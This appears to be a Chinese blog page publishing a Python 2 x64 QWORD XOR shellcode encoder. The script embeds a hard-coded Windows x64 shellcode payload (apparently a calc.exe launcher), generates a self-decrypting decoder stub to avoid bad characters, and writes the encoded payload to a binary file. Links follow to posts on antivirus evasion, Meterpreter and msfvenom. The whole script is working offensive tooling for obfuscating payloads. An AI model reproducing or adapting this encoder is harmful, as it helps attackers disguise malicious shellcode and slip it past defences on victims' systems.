x64 QWORD Xor shellcode encoder
#!/usr/bin/env python
#Filename: Xor_QWORD_x64.py
#coding=utf-8 import re
import sys
import random
import struct class QWORDXorEncoder: def __init__(self):
self.name = "x64 QWORD Xor Encoder"
self.description = "x64 QWORD Xor shellcode encoder"
self.author = "Danny__Wei"
self.bad_chars = []
self.bad_keys = [[] for i in range(8)]
self.good_keys = [[] for i in range(8)]
self.final_keys = []
self.shellcode = ""
self.encoded_shellcode = ""
self.encoded_payload_length = 0
self.encoder_bad_chars = ["48", "31", "c9", "81", "e9", "8d", "05", "bb", "58", "27", "2d", "f8", "ff", "e2", "f4"]
self.misc_comments = """
#This is the decoder stub
"\x48\x31\xC9" + # xor rcx, rcx
"\x48\x81\xE9" + block_count + # sub ecx, block_count
"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0]
"\x48\xBBXXXXXXXX" + # mov rbx, 0x????????????????
"\x48\x31\x58\x27" + # xor [rax+0x27], rbx
"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8
"\xE2\xF4" # loop 0x1B
"""
def all_the_stats(self):
print "\n[Output] Encoder Name:\n" + self.name
string_bad_chars = ''
for bchar in self.bad_chars:
string_bad_chars += hex(bchar) + " "
print "\n[Output] Bad Character(s):\n" + string_bad_chars
print "\n[Output] Shellcode length:\n" + str(self.encoded_payload_length)
j = 1;
key = 0
for i in self.final_keys:
key += i * j
j *= 0x100
print ('\n[Output] Xor Key:\n%08X' % key) def shellcode_to_bin(self):
hFile = file('Xor_x64_encoded.bin', 'wb+')
hFile.write(self.encoded_shellcode)
hFile.close()
return def set_shellcode(self, shellcode):
shellcode = shellcode.decode('string-escape')
self.shellcode = bytearray(shellcode)
return # This function was copied from Justin Warner (@sixdub)
def set_bad_characters(self, bad_characters):
final_bad_chars = []
bad_characters = bad_characters.split('x') # Do some validation on the received characters
for item in bad_characters:
if item == '':
pass
elif item in self.encoder_bad_chars:
print "\n[Error] Encoder Error: Bad character specified is used for the decoder stub."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
else:
if len(item) == 2:
# Thanks rohan (@cptjesus) for providing this regex code, and making me too lazt
# to do it myself
rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE)
if rohan_re_code.match(item):
final_bad_chars.append(item)
else:
print "\n[Error] Bad Character Error: Invalid bad character detected."
print "[Error] Bad Character Error: Please provide bad characters in \\x00\\x01... format."
sys.exit()
else:
print "\n[Error] Bad Character Error: Invalid bad character detected."
print "[Error] Bad Character Error: Please provide bad characters in \\x00\\x01... format."
sys.exit()
for x in final_bad_chars:
self.bad_chars.append(int("0x"+x,16))
return def find_bad_keys(self):
for key in range(0x100):
for bad in self.bad_chars:
char = key ^ bad
for count in xrange(8):
for i in xrange(count, len(self.shellcode), 8):
if char == self.shellcode[i]:
self.bad_keys[count].append(key)
break
return def find_key(self):
for count in xrange(8):
for key in range(0x100):
if key not in self.bad_keys[count]:
self.good_keys[count].append(key) for count in xrange(8):
if len(self.good_keys[count]) == 0:
print "\n[Error] Encoder Error: Can't find available keys."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
i = random.randint(0, len(self.good_keys[count]))
self.final_keys.append(self.good_keys[count][i]) return def decoder_stub(self):
block_count = -( ( (len(self.shellcode) - 1) / 8) + 1)
str = struct.pack('<l', block_count) decoder = "\x48\x31\xC9" + "\x48\x81\xE9" + str + "\x48\x8D\x05\xEF\xFF\xFF\xFF" + "\x48\xBBXXXXXXXX" + "\x48\x31\x58\x27" + "\x48\x2D\xF8\xFF\xFF\xFF" + "\xE2\xF4" '''
decoder = "\x48\x31\xC9" + # xor rcx, rcx
"\x48\x81\xE9" + block_count + # sub ecx, block_count
"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0]
"\x48\xBBXXXXXXXX" + # mov rbx, 0x????????????????
"\x48\x31\x58\x27" + # xor [rax+0x27], rbx
"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8
"\xE2\xF4" # loop 0x1B
''' return decoder def do_encode(self):
stub = self.decoder_stub() key = 0
str = ''
for key in self.final_keys:
str += struct.pack('B', key) stub = stub.replace('XXXXXXXX', str) # check out the final decoder stub
for byte in bytearray(stub):
if byte in self.bad_chars:
print "\n[Error] Encoder Error: Bad character specified is used for the decoder stub."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit() stub = bytearray(stub) mod = 0
byte = 0
count = 0
for byte in bytearray(self.shellcode):
if count < 8:
mod = count
else:
mod = count % 8
count += 1
enbyte = byte ^ self.final_keys[mod]
stub.append(enbyte) self.encoded_shellcode = stub
self.encoded_payload_length = len(stub) return def encode(self):
self.find_bad_keys()
self.find_key()
self.do_encode() if __name__ == '__main__':
shellcode = (
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52"
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED"
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88"
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44"
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48"
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1"
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44"
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49"
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A"
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41"
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00"
"\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B"
"\x6F\x87\xFF\xD5\xBB\xF0\xB5\xA2\x56\x41\xBA\xA6\x95\xBD\x9D\xFF"
"\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47"
"\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x00")
shell = QWORDXorEncoder()
shell.set_shellcode(shellcode)
shell.set_bad_characters('x00x0a')
shell.encode()
shell.all_the_stats()
shell.shellcode_to_bin() else:
pass
x64 QWORD Xor shellcode encoder的更多相关文章
- 那些shellcode免杀总结
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
- 【Python】使用Python将Shellcode转换成汇编
1.介绍 需要多少行代码转换hex成反汇编呢? 多亏了Python的Capstone库,做这件事只需要五行. 在二进制分析中,进行Exploit开发或逆向工程时,需要快速将十六进制的Shellcode ...
- metasploit模块功能介绍
metasploit的模块构成及功能分析 转载自----http://forum.cnsec.org/thread-94704-1-1.html 今天我们介绍一下metasploit的基础架构和 市 ...
- Metasploit是一款开源的安全漏洞检测工具,
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...
- Meterpreter命令详解
0x01初识Meterpreter 1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以 ...
- 【译】msfvenom
原文链接:MSFvenom 1.使用MSFvenom命令行界面 msfvenom是Msfpayload和Msfencode的组合,将这两个工具集成在一个框架实例中. msfvenom的优点是: 一个单 ...
- 服务器中了蠕虫病毒Wannamine2.0小记
近期用户反馈某台服务器总感觉性能不是很好存在卡顿,于是今天远程上去分析. 打开任务管理器发现CPU使用率非常低,内存使用也在接受范围内(10/64G).不过我有一个偏好就是不喜欢用系统自带的任务管理器 ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- 20164305 徐广皓 Exp3 免杀原理与实践
免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生 ...
随机推荐
- Dijkstra算法以及各种海量数据排序算法
一.Dijkstra最短路径算法 是从一个顶点到其余各顶点的最短路径算法,解决的是有向图中最短路径问题.迪杰斯特拉算法主要特点是以起始点为中心向外层层扩展,直到扩展到终点为止. 实现一 // // D ...
- 使用express创建node服务器的两种方法及区别
使用express创建node服务器有两种方法,如下所示: 方法一: var express = require('express'); var app = express(); app.listen ...
- Android使用7牛云存储
第一次使用这个云存储,话说7牛云存储大有来头!区别于国内外其他云存储,七牛自行研发的全分布式架构解决了其他云存储单一数据中心架构可能存在的风险,同时首创双向加速特性对数据上传下载均加速,使得数据访问速 ...
- c# 实现RPC框架的思路
RPC框架,就是远程调用一个方法就像是本地调用一样. 用于网络消息的话,那么你的收发消息通过异步方法可以写在一起,很方便 核心代码 using System; using System.Collect ...
- Python基础(3) - 数据类型:1数字类型
Python数据类型 数据类型 是否容器 是否可变 存储方式 数字 否 否 直接 字符串 否 否 直接 列表 是 是 顺序 元组 是 否 顺序 字典 是 是 映射 数字类型 整 型:1,234,0, ...
- 查找正序排列的List中缺失的日期数据的一个算法
Code: public List<DateTime> getMissDateData() { DateTime[] keys = { DateTime.Now.AddDays(-5), ...
- Magento 2中文手册教程 - 如何获得 Magento 2
Magento 2 安装 我们搜集了一些信息来帮助您开始使用Magento 2和你的Magento 2安装. 我们有一些资源帮助您开始使用Magento 2. 如何获得 Magento 2 参考下表开 ...
- SpringBoot和SpringCloud区别
SpringBoot专注于快速方便的开发单个个体微服务. SpringCloud是关注全局的微服务协调整理治理框架,它将SpringBoot开发的一个个单体微服务整合并管理起来, 为各个服 ...
- 第五章 使用java实现面向对象异常
第五章 异常 一.异常概述 概述:异常是在程序的运行过程中所发生的不正常的事件,他会中断正在运行的程序 二.异常处理 1.关键字:try catch finally throw throws 2.Tr ...
- [转载]ZendStudio格式化html错位问题修正
原文链接leeon.me ZendStudio提供的HTML编辑功能感觉很强大,有时候觉得比dw更加人性化,而且整合php在一个编辑器上编写前端会方便很多,以前每次通过zend格式化html代码都会奇 ...